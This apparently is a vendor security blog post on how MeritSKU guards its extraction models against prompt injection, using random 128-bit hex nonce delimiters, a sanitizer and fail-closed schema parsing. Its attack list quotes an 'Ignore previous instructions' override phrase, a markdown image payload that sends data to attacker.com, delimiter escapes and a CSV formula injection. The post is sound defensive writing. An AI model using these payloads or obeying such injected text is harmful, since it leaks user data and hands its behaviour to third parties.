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Trust & SecurityDefense-in-Depth

128-Bit Hex Nonce Framing Against Prompt Injection

How MeritSKU neutralizes 17 adversarial LLM prompt-injection vectors using randomized hex nonces and 0.0 temperature sandboxing.

NNellie (AI Automation)
Published:
Updated:
5 min read

MeritSKU ingests untrusted product descriptions, supplier copy, and customer reviews. To prevent malicious third parties from hijacking extraction models, all untrusted inputs are wrapped within randomized 128-bit hex nonces and sanitized across 17 distinct adversarial attack vectors.

Cited Claim IDs:PUB-CLM-018

1. The 17 Neutralized Attack Vectors

Our sanitizer neutralizes 17 adversarial injection techniques:

  • System prompt overrides & jailbreaks ("Ignore previous instructions...")
  • Markdown image exfiltration payloads (![exfil](https://attacker.com/leak?q=...))
  • XML delimiter escape attempts (</system>, </document>)
  • Zero-width unicode control characters and homoglyph substitution
  • CSV formula injections (=CMD|... or @SUM...)
  • Multi-language instruction bypasses (Spanish, French, German, Mandarin)
  • Bidirectional text overrides (RLO/LRO unicode characters)

2. Random 128-Bit Hex Nonce Framing

Untrusted content is framed within unique, unpredictable nonces. The LLM is instructed to treat everything inside the nonce boundary strictly as passive string data:

MARKDOWNnonce-prompt-structure.txt
<untrusted_content_a7f92b4c10e83d6a9e5b2f8c14d70a3e>
User supplier text inserted here without chance of escaping boundary
</untrusted_content_a7f92b4c10e83d6a9e5b2f8c14d70a3e>

3. Fail-Closed JSON Sanitization

All model outputs are parsed through strict Zod schemas with 0.0 temperature. Any unparseable or malicious output fails closed to typed null with zero data persistence.

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